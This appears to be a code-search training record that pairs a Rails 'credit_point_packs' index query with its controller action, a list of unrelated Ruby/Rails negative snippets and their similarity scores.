"def message(message, options = {})\n options[:prefix] ||= \"*** \"\n options[:color] ||= :white\n output message, options\n end",
"def puts(patch, messages)\n if running?\n unless (messages = [messages].flatten.compact).empty?\n json = messages.to_json\n @log.puts(\"Sending messages: #{json}\") if @log\n begin\n @socket.puts(json)\n rescue Exception => exception # failsafe\n @log.exception(exception) if @log\n ::Thread.main.raise(exception)\n end\n json\n end\n else\n @log.puts(\"Warning: No connection\") if @log\n nil\n end\n end"
] |
[
"0.8073091",
"0.7744468",
"0.73710304",
"0.71799856",
"0.7156388",
"0.7147595",
"0.713827",
"0.70731854",
"0.70153785",
"0.69717157",
"0.6969954",
"0.69104356",
"0.6861471",
"0.68448496",
"0.6813168",
"0.67955124",
"0.67862856",
"0.6758694",
"0.6730025",
"0.66705555",
"0.6662469",
"0.6657353",
"0.6643097",
"0.6620633",
"0.6617257",
"0.6583887",
"0.657013",
"0.655816",
"0.655017",
"0.6542893",
"0.65293974",
"0.65155613",
"0.6465902",
"0.6464012",
"0.64411354",
"0.64371514",
"0.6429127",
"0.640685",
"0.6379396",
"0.6365234",
"0.63616496",
"0.63510215",
"0.6340255",
"0.63272274",
"0.63272274",
"0.63207704",
"0.63016576",
"0.6297997",
"0.6292796",
"0.62853956",
"0.6284751",
"0.628416",
"0.62725544",
"0.6255596",
"0.62430835",
"0.6218616",
"0.6215323",
"0.6179309",
"0.617519",
"0.61628467",
"0.6148875",
"0.61476433",
"0.6127004",
"0.6116926",
"0.6106933",
"0.60946685",
"0.60927725",
"0.60925514",
"0.6083133",
"0.6077011",
"0.60725266",
"0.6070178",
"0.6069914",
"0.6058296",
"0.6041525",
"0.6011039",
"0.60066575",
"0.59945273",
"0.5991878",
"0.5991235",
"0.5987262",
"0.596508",
"0.59420943",
"0.5940068",
"0.59348744",
"0.59327894",
"0.59308875",
"0.59307086",
"0.5920789",
"0.59149843",
"0.5914013",
"0.5911817",
"0.5897834",
"0.5880964",
"0.5870761",
"0.58595514",
"0.5856368",
"0.58521515",
"0.58502126",
"0.5839993"
] |
0.78019667
|
1
|
GET /credit_point_packs GET /credit_point_packs.json
|
def index
@credit_point_packs = CreditPointPack.order_by_price
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @credit_point_pack = CreditPointPack.new(credit_point_pack_params)\n\n respond_to do |format|\n if @credit_point_pack.save\n format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully created.' }\n format.json { render :show, status: :created, location: @credit_point_pack }\n else\n format.html { render :new }\n format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def credit\n handle_response(get(\"/credit.json\"))\n end",
"def set_credit_point_pack\n @credit_point_pack = CreditPointPack.find(params[:id])\n end",
"def credit_point_pack_params\n params.require(:credit_point_pack).permit(:name, :number_of_points, :price, :available)\n end",
"def credit\n handle_response(self.class.get(\"/credit.json\"))\n end",
"def update\n respond_to do |format|\n if @credit_point_pack.update(credit_point_pack_params)\n format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @credit_point_pack }\n else\n format.html { render :edit }\n format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def credits\n return nil unless have_key?\n url = \"/v1/credits\"\n #Hashie::Mash.new(\n self.class.post(url, :headers => headers_for(url)).parsed_response\n end",
"def destroy\n @credit_point_pack.destroy\n respond_to do |format|\n format.html { redirect_to credit_point_packs_url }\n format.json { head :no_content }\n end\n end",
"def show\n @final_packing_pallet = FinalPackingPallet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @final_packing_pallet }\n end\n end",
"def show\n @bundlesticker = Bundlesticker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bundlesticker }\n end\n end",
"def getFlatpackBy_masheryid()\n params = Hash.new\n return doCurl(\"get\",\"/flatpack/by_masheryid\",params)\n end",
"def index\n @product_packs = ProductPack.all\n end",
"def index\n @bead_packs = BeadPack.all\n end",
"def credits(count = 10)\n params = { command: 'account_credits', count: count }\n get('/json.php', params)\n end",
"def creditCardIndex\n render json: Approved.allCreditCard\n end",
"def index\n @shop_fb_credit_offers = Shop::FbCreditOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_fb_credit_offers }\n end\n end",
"def breakdown\n @points = current_user.points.limit(5)\n render json: @points, status: 200\n end",
"def show\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n\n @prices = []\n\n JSON.parse(@shop_fb_credit_offer.prices).each do |o|\n @prices << o\n end\n\n respond_to do |format|\n format.html { render layout: 'empty' }\n format.json { render json: @shop_fb_credit_offer }\n end\n end",
"def credits\n authenticated_post(\"credits\").body\n end",
"def new\n @final_packing_pallet = FinalPackingPallet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @final_packing_pallet }\n end\n end",
"def show\n @bill_point = BillPoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill_point }\n end\n end",
"def show\n render json: @deck.to_json, methods: [:piles]\n end",
"def index\n @panel_billings = Panel::Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_billings }\n end\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def index\n @order_packs = OrderPack.all\n end",
"def available_credit_points\n @retval = Hash.new()\n unless params[:username].blank?\n @hmm_user = HmmUser.find(:first,:conditions=>{:v_user_name=>params[:username]},:select=>'id')\n if(@hmm_user)\n @credit = CreditPoint.find(:first,:conditions=>{:user_id=>@hmm_user.id})\n if @credit\n @retval['available_points'] = @credit.available_credits\n @retval['status'] = true\n else\n @retval['available_points'] = 0\n @retval['status'] = true\n end\n else\n @retval['message'] = 'user not found'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'username is required'\n @retval['status'] = false\n end\n render :xml => @retval.to_xml({:root=>'response',:dasherize =>false})\n end",
"def buyPack\n\t\t@collection.addPack(@store.buyPack)\n\n\t\textras_dust, n_extras = @collection.disenchantExtras\n\t\tgoldens_dust, n_goldens = @collection.disenchantGoldens\n\n\t\t@dust += extras_dust + goldens_dust\n\t\t@disenchanted += n_extras + n_goldens\n\n\t\t@dust, n_crafted = @collection.craftRarest(@dust)\n\t\t@crafted += n_crafted\n\t\tnew_cards = Store::CARDS_PER_PACK + n_crafted - (n_extras + n_goldens)\n\t\t@cards += new_cards\n\t\t@cards_record.push(@cards)\n\t\t@purchased += 1\n\t\treturn new_cards\n\tend",
"def show\n @redpack = Redpack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @redpack }\n end\n end",
"def show\n render json: @pricing\n end",
"def index\n @starter_packs = StarterPack.all\n end",
"def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end",
"def add_credit_card\n\n get_balanced_key\n card_uri = params[:card_uri]\n\n company_name = \"Mindfire Solutions\"\n customer = Balanced::Customer.new({name: company_name}).save\n customer_uri = customer.href\n get_customer = Balanced::Customer.fetch(customer_uri)\n card = Balanced::Card.fetch(card_uri)\n card.associate_to_customer(customer_uri)\n \n\n amount_in_dollars = params[:amount].to_i\n #amount_in_dollars * 100 convert into cents\n\n debit = card.debit(:amount => amount_in_dollars * 100, appears_on_statement_as: \"Debit Amount\")\n \n ##You can save the response in your db for future use\n #debit.transaction_number\n #debit.amount\n #debit.statusdebit.created_at\n \n #get the balanced market place\n marketplace = Balanced::Marketplace.my_marketplace\n \n credit = get_marketplace_bank_account.credit(:amount => debit.amount, appears_on_statement_as: \"Credit Amount\")\n\n\n return render json: {success: [\"Debit Transaction:: #{debit.attributes}\", \"Credit Transaction:: #{credit.attributes}\"] }\n\n end",
"def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end",
"def new\n @bill_point = BillPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill_point }\n end\n end",
"def index\n skickers = Skicker.order(power: :asc)\n render json: { status: 'SUCCESS', message: 'Loaded skickers', value: skickers }\n end",
"def show\n @module_pack = ModulePack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @module_pack }\n end\n end",
"def show\n @credit = Credit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit }\n end\n end",
"def show\n @credit = Credit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit }\n end\n end",
"def index\n @points_spents = PointsSpent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @points_spents }\n end\n end",
"def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end",
"def index\n @pricings = Pricing.all\n\n render json: @pricings\n end",
"def index\n @mint_coins = @coin.mint_coins\n\n @mint_coins_by_grouping = group_mint_coins(@mint_coins)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @mint_coins }\n end\n end",
"def index\n @all_products = Product.all.as_json\n @all_currencies = ExchangeRateService.valid_currencies\n @base_url = Rails.env.development? ? 'http://localhost:3000' : 'http://cabifycheckout.com'\n end",
"def getFlatpackLess( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"get\",\"/flatpack/less\",params)\n end",
"def show\n @financial_aid_package = @participant.financial_aid_packages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial_aid_package.to_json(methods: [:breakdown]) }\n end\n end",
"def show\n @points_spent = PointsSpent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @points_spent }\n end\n end",
"def show\n @pack = Packages.find( params[ :id ] ) \n end",
"def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end",
"def playset_pricing_ajax\n card = Mtg::Card.joins(:set).includes(:statistics).active.where(\"mtg_cards.name LIKE ? AND mtg_sets.code LIKE ?\", \"#{params[:name]}\", \"#{params[:set]}\").first\n listing = card.listings.build(:condition => params[:condition], :playset => true)\n respond_to do |format|\n format.json do\n recommended_pricing = listing.product_recommended_pricing\n playset_price_low = recommended_pricing[:price_low].dollars\n playset_price_med = recommended_pricing[:price_med].dollars\n playset_price_high = recommended_pricing[:price_high].dollars\n label_low = generate_pricing_label \"Low\", recommended_pricing[:price_low].dollars\n label_med = generate_pricing_label \"Average\", recommended_pricing[:price_med].dollars\n label_high = generate_pricing_label \"High\", recommended_pricing[:price_high].dollars\n render :json => [[label_low, playset_price_low], [label_med, playset_price_med], [label_high, playset_price_high], [\"Other\", \"other\"]].to_json\n end\n end\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def index\n @credit_types = CreditType.all\n @abs_credit_types = JSON.parse(Redis.current.get(\"credit_purposes\"))\n end",
"def show\n @bp = Bp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bp }\n end\n end",
"def index\n @mod_packs = ModPack.all\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_pricing_schemes }\n end\n end",
"def index\n @bucketlist_item = BucketlistItem.all\n # @bucketlist_item = @trip.bucketlist_item\n render json: @bucketlist_item\n end",
"def index\n @packing_quantities = PackingQuantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packing_quantities }\n end\n end",
"def index\n @supply_chains = SupplyChain.all\n end",
"def index\n @banks = Bank.all\n render json: @banks\n end",
"def index\n @credits_offers = CreditsOffer.order(:price).all\n end",
"def show\n @pick = @game.picks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pick }\n end\n end",
"def show\n @card = PkCard.find(params[:id])\n render json: @card\n end",
"def index\n @user_smart_points = UserSmartPoint.all\n render json: @user_smart_points\n end",
"def show\n @gameboard = Gameboard.find(params[:id])\n\n @color_pallets = ColorPallet.all\n\n @player1_color_bucket = Hash.new\n @player2_color_bucket = Hash.new\n\n @game_round = GameRound.find(@gameboard.game_round_id)\n @game = Game.find(@game_round.game_id)\n\n @color_pallets.each do|color_pallet|\n @player1_color_bucket[color_pallet.id] = PlayerColorBucket.find_by_game_round_id_and_player_id_and_color_pallet_id(@gameboard.game_round_id, @game.player1_id, color_pallet.id).original_quantity\n @player2_color_bucket[color_pallet.id] = PlayerColorBucket.find_by_game_round_id_and_player_id_and_color_pallet_id(@gameboard.game_round_id, @game.player2_id, color_pallet.id).original_quantity\n end\n\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gameboard }\n end\n end",
"def buyPack\n\t\tpack = Array.new(CARDS_PER_PACK)\n\t\tfor i in 0..CARDS_PER_PACK-2\n\t\t\tpack[i] = randomCard\n\t\tend\n\t\tcontains_rare = pack[0..CARDS_PER_PACK-2].any? {|card| atLeastRare? card}\n\t\tif !contains_rare\n\t\t\tpack[CARDS_PER_PACK-1] = randomRare\n\t\telse\n\t\t\tpack[CARDS_PER_PACK-1] = randomCard\n\t\tend\n\t\treturn pack\n\tend",
"def buyers\n result = get_buyers(params, false)\n render json: result, status: 200\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @fundamental_resource_pools = Fundamental::ResourcePool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_resource_pools }\n end\n end",
"def show\n render json: @product_buy_click\n end",
"def index\n @shop_bonus_offers = Shop::BonusOffer.order('resource_id asc, currency asc, price asc')\n \n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shop_bonus_offers.each do |offer|\n offer[:resource_effect] = offer.effect_for_character(current_character) \n end\n \n render json: @shop_bonus_offers\n end\n end\n end",
"def show\n @coin_set = CoinSet.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coin_set }\n end\n end",
"def get_comps(zpid,count)\n url_s=@@zillow_webservice_url+'GetComps.htm?zws-id='+@zwsid+'&zpid='+zpid.to_s+'&count='+count.to_s\n fetch_result(url_s)\n end",
"def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end",
"def show\n render json: @bank\n end",
"def pickup\n @shipment = Shipment.where(:tracking => params[:id]).first\n @shipment.picked_up_at = Time.now\n @shipment.status = \"Picked Up\"\n @shipment.number_of_packages = params[:number_of_packages] || 1\n\n respond_to do |format|\n if @shipment.save\n format.json { render json: {tracking: @shipment.tracking, status: @shipment.status, success: true}.to_json }\n else\n format.json { render json: @shipment.errors,\n status: :unprocessable_entity,\n tracking: @shipment.tracking,\n success: false }\n end\n end\n end",
"def show\n @nvs_pack = NvsPack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nvs_pack }\n end\n end",
"def total\n url = \"https://api.justgiving.com/#{Rails.application.secrets.justgiving_api_key}/v1/fundraising/pages/thebteam-cardiff\"\n begin\n response = RestClient.get \"https://api.justgiving.com/#{Rails.application.secrets.justgiving_api_key}/v1/fundraising/pages/thebteam-cardiff\"\n if response.code == 200\n @total = JSON.parse response.body\n end\n rescue => e\n logger.error \"Mole Total: #{e.message} - #{url}\"\n @total = { grandTotalRaisedExcludingGiftAid: \"Sorry, JustGiving is unavailable at this time.\" }\n end\n\n respond_to do |format|\n format.html # total.html.erb\n format.json { render json: @total, callback: params[:callback] }\n format.xml { render xml: @total }\n end\n end",
"def show\n @grant_round = GrantRound.find(params[:id])\n\n render json: @grant_round\n end",
"def index\n @credit_types = CreditType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @credit_types }\n end\n end",
"def new\n @redpack = Redpack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @redpack }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_demand_breakdowns }\n end\n end",
"def index\n if api_request?\n @shop_special_offers = Shop::SpecialOffer.buyable_by_character(current_character)\n else\n @shop_special_offers = Shop::SpecialOffer.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: include_root(@shop_special_offers, :special_offer) }\n end\n end",
"def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end",
"def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end",
"def index\n @_resources = client.credit_contracts.includes(:main_account, :current_account, credit: %i[currency credit_type])\n render layout: 'application_fluid'\n end",
"def show\n\n render json: @bookkeeping\n end",
"def index\n @supplysites = Supplysite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @supplysites }\n end\n end",
"def licenses\n publisher_id = current_user.id\n @licenses = PowerChip.where(:publisher_id=>publisher_id)\n respond_to do |format|\n format.html # licenses.html.erb\n format.json { render json: @licenses }\n end\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def show\n @pack_group_dispatch = PackGroupDispatch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pack_group_dispatch }\n end\n end",
"def show\n @pointcode = Pointcode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pointcode }\n end\n end",
"def index\n @offers = Offer.all\n\n render json: @offers\n end",
"def returns\n election_uri = params[:election]\n return unless check_election(ClearElection.read(election_uri), now: :closed)\n\n ballot_records = BallotRecord.where(election_uri: election_uri)\n\n render json: {\n ballotsIssued: ballot_records.count,\n ballotsCast: ballot_records.where(cast: true).count,\n ballots: ballot_records.where(cast: true).order(:ballotId).pluck(:ballot_json, :demographic).map{|ballot_json, demographic| demographic ? ballot_json.merge(demographic: demographic) : ballot_json}\n }, status: 200\n\n end",
"def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end",
"def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def show\n @ipack = Ipack.find(params[:id])\n @slices = 3\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ipack }\n format.js { render \"show_ipack_book_list\"\n }\n end\n end",
"def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end",
"def show\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end",
"def index\n @cryptostables = Cryptostable.all\n\n require 'uri'\n require 'net/http'\n require 'openssl'\n\n @url = \"https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?CMC_PRO_API_KEY=#{ENV.fetch('CRYPTO')}&start=1&limit=500\"\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_cryptos = JSON.parse(@response)\n @profit_loss = 0\n end"
] |
[
"0.69023854",
"0.6467619",
"0.6414127",
"0.62306315",
"0.6175926",
"0.59596044",
"0.594749",
"0.5926122",
"0.57959676",
"0.56767106",
"0.5656793",
"0.5647559",
"0.56451315",
"0.5626509",
"0.5554531",
"0.55371195",
"0.55223006",
"0.54787344",
"0.54723185",
"0.5454747",
"0.54386467",
"0.54328835",
"0.5423875",
"0.5401054",
"0.5388041",
"0.5381386",
"0.5372956",
"0.53623766",
"0.53594476",
"0.5336761",
"0.5320217",
"0.53157765",
"0.5315719",
"0.5312683",
"0.53101414",
"0.52874374",
"0.52846664",
"0.52846664",
"0.5280705",
"0.52721375",
"0.5260193",
"0.5248998",
"0.5233723",
"0.52210915",
"0.5217728",
"0.5214887",
"0.52141035",
"0.52114105",
"0.5211131",
"0.51974154",
"0.5190016",
"0.51803315",
"0.51790786",
"0.5177613",
"0.51762754",
"0.5174904",
"0.51698214",
"0.5168785",
"0.5166622",
"0.51653904",
"0.5160196",
"0.5156421",
"0.51528984",
"0.5149589",
"0.5144474",
"0.51407295",
"0.5137724",
"0.51323205",
"0.5128768",
"0.51186955",
"0.5114601",
"0.5105931",
"0.510486",
"0.5101266",
"0.51011175",
"0.5098409",
"0.5089025",
"0.50855476",
"0.5073265",
"0.5072733",
"0.5072442",
"0.5069505",
"0.5067481",
"0.50646657",
"0.5051945",
"0.50511104",
"0.5040794",
"0.5036441",
"0.50255114",
"0.5023833",
"0.502306",
"0.50227875",
"0.50215715",
"0.50200576",
"0.50172544",
"0.5017117",
"0.5015244",
"0.50152135",
"0.5013272",
"0.50084203"
] |
0.6833062
|
1
|
GET /credit_point_packs/1 GET /credit_point_packs/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @credit_point_pack = CreditPointPack.new(credit_point_pack_params)\n\n respond_to do |format|\n if @credit_point_pack.save\n format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully created.' }\n format.json { render :show, status: :created, location: @credit_point_pack }\n else\n format.html { render :new }\n format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @credit_point_packs = CreditPointPack.order_by_price\n end",
"def set_credit_point_pack\n @credit_point_pack = CreditPointPack.find(params[:id])\n end",
"def credit\n handle_response(get(\"/credit.json\"))\n end",
"def credit\n handle_response(self.class.get(\"/credit.json\"))\n end",
"def show\n @final_packing_pallet = FinalPackingPallet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @final_packing_pallet }\n end\n end",
"def update\n respond_to do |format|\n if @credit_point_pack.update(credit_point_pack_params)\n format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @credit_point_pack }\n else\n format.html { render :edit }\n format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @bundlesticker = Bundlesticker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bundlesticker }\n end\n end",
"def destroy\n @credit_point_pack.destroy\n respond_to do |format|\n format.html { redirect_to credit_point_packs_url }\n format.json { head :no_content }\n end\n end",
"def credit_point_pack_params\n params.require(:credit_point_pack).permit(:name, :number_of_points, :price, :available)\n end",
"def show\n @bill_point = BillPoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill_point }\n end\n end",
"def getFlatpackBy_masheryid()\n params = Hash.new\n return doCurl(\"get\",\"/flatpack/by_masheryid\",params)\n end",
"def credits\n return nil unless have_key?\n url = \"/v1/credits\"\n #Hashie::Mash.new(\n self.class.post(url, :headers => headers_for(url)).parsed_response\n end",
"def show\n @redpack = Redpack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @redpack }\n end\n end",
"def new\n @bill_point = BillPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill_point }\n end\n end",
"def new\n @final_packing_pallet = FinalPackingPallet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @final_packing_pallet }\n end\n end",
"def show\n @credit = Credit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit }\n end\n end",
"def show\n @credit = Credit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit }\n end\n end",
"def show\n @coin_set = CoinSet.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coin_set }\n end\n end",
"def creditCardIndex\n render json: Approved.allCreditCard\n end",
"def show\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n\n @prices = []\n\n JSON.parse(@shop_fb_credit_offer.prices).each do |o|\n @prices << o\n end\n\n respond_to do |format|\n format.html { render layout: 'empty' }\n format.json { render json: @shop_fb_credit_offer }\n end\n end",
"def show\n render json: @pricing\n end",
"def show\n @module_pack = ModulePack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @module_pack }\n end\n end",
"def show\n @point_consumption = PointConsumption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @point_consumption }\n end\n end",
"def show\n @pick = @game.picks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pick }\n end\n end",
"def show\n @card = PkCard.find(params[:id])\n render json: @card\n end",
"def show\n @points_spent = PointsSpent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @points_spent }\n end\n end",
"def show\n @pack = Packages.find( params[ :id ] ) \n end",
"def show\n @pointcode = Pointcode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pointcode }\n end\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end",
"def show\n @bp = Bp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bp }\n end\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def breakdown\n @points = current_user.points.limit(5)\n render json: @points, status: 200\n end",
"def index\n @product_packs = ProductPack.all\n end",
"def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end",
"def show\n render json: @deck.to_json, methods: [:piles]\n end",
"def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end",
"def show\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit_line }\n end\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def index\n @shop_fb_credit_offers = Shop::FbCreditOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_fb_credit_offers }\n end\n end",
"def show\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end",
"def show\n @nvs_pack = NvsPack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nvs_pack }\n end\n end",
"def show\n @financial_aid_package = @participant.financial_aid_packages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial_aid_package.to_json(methods: [:breakdown]) }\n end\n end",
"def show\n @plate_cost = PlateCost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plate_cost }\n end\n end",
"def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end",
"def show\n @grant_round = GrantRound.find(params[:id])\n\n render json: @grant_round\n end",
"def credits(count = 10)\n params = { command: 'account_credits', count: count }\n get('/json.php', params)\n end",
"def index\n @bead_packs = BeadPack.all\n end",
"def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end",
"def new\n @redpack = Redpack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @redpack }\n end\n end",
"def index\n @pricings = Pricing.all\n\n render json: @pricings\n end",
"def show\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climb }\n end\n end",
"def index\n @panel_billings = Panel::Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_billings }\n end\n end",
"def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end",
"def show\n @credit_type = CreditType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit_type }\n end\n end",
"def show\n @pinpoints = @cabal.pinpoints\n @pinpoint = Pinpoint.new(cabal_id: params[:id])\n end",
"def show\n @supplies_loan = SuppliesLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_loan }\n end\n end",
"def show\n @crate = Crate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate }\n end\n end",
"def show\n @pack_group_dispatch = PackGroupDispatch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pack_group_dispatch }\n end\n end",
"def new\n @pointcode = Pointcode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pointcode }\n end\n end",
"def show\n @format_packing = FormatPacking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @format_packing }\n end\n end",
"def show\n @key_point = KeyPoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_point }\n end\n end",
"def show\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lunchplan }\n end\n end",
"def show\n render json: @product_buy_click\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromise }\n end\n end",
"def new\n @point_consumption = PointConsumption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @point_consumption }\n end\n end",
"def index\n @points_spents = PointsSpent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @points_spents }\n end\n end",
"def show\n @packing_process = PackingProcess.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @packing_process }\n end\n end",
"def show\n render json: @plan\n end",
"def getFlatpackLess( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"get\",\"/flatpack/less\",params)\n end",
"def show\n @packing_quantity = PackingQuantity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @packing_quantity }\n end\n end",
